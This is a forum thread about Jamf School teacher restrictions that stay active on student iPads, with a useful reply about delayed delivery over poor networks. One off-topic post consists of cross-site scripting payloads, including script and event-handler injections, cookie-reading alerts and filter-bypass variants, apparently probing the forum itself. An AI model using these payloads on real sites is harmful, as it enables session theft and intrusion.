Jamf School: clear teacher restrictions fails

[alexandern]

Our teachers routinely use Jamf Teacher to restrict students access to apps, websites and resources during class. Sometimes the restrictions stay active longer than the set duration. There are a few ways to solve this:

• Cold reboot: this way restrictions are easily lifted. Don't tell your students or they will also start using it during class, or worse: during tests.
• Clear the restrictions from the Jamf Teacher app: usually works. If not:
• Clear the restrictions from the Jamf School management website.

This last option has always worked until now. I just had an iPad that just couldn't forget these restrictions using one of the above ways. The iPad did receive all kinds of other commands that are scheduled (update a profile, update OS, etc.) or that were actively sent (restart, and eventually erase).

Anybody with similar experience? What could have caused this and how could it be solved/prevented?

Regards

A

[usernameAS]

/'-confirm(document.domain)-'

/'-prompt(document.cookie)-'

onfocus=alert(1) autofocus>

"><script>alert(1)</script>[failed]
><script>alert(document.cookie)</script>[success]

onmouseenter="alert(document.domain)"

<script>alert(document.cookie);</script>

(A(%22onerror=%22alert%601%60%22))/AllEvents.aspx

<img/src/style=html:attr(""><svg/onload=confirm`69`")>

"><img/src/style=html:url("data:,"><svg/onload=confirm(69)>")>

"><script>eval(new URL(document.location.href+"#javascript&colon;confirm(69)").hash.slice(1))</script>

?plan_id=`-${top.alart(1)}-`
“;a=alert,a()//

that was my first payload it was the simple one:
<script>alert(3)<script>

i notice that word script is blocked
then i tried those:
“-alert(8)-”
‘-alert(8)-’
“;a=alert,a()//
‘;a=confirm,a()//

<image/src/onerror=prompt(8)>

[alexandern]

Could you explain (i) what you are trying to do/convey here and (ii) what is has to do with the problem described in the first post?

[markus1]

Hi alexandern,

we have the same or a very similar issue:

Until some months ago we had heavily network problems. So some devices did not have any network connection. When a teacher set some restrictions, the devices without connections received the restrictions with a huge delay, sometimes at afternoon, when the students are at home. The restrictions last for the given time by the teacher, but with the starting timestamp of receiving the restrictions on the device.

I found out, that Jamf uses Apples iOS profiles for applying these restrictions. And until last summer there was no ability to set an absolute starting timestamp for the restrictions. It was only possible to set a relative duration. Since last summer it should be possible to set an absolute timestamp and apparently Jamf is working on an implementation. But more details could not be given to me.

I hope, it is available in the near future and anybody sees this post and can give more details about this topic. Do you know anything about this since your last reply?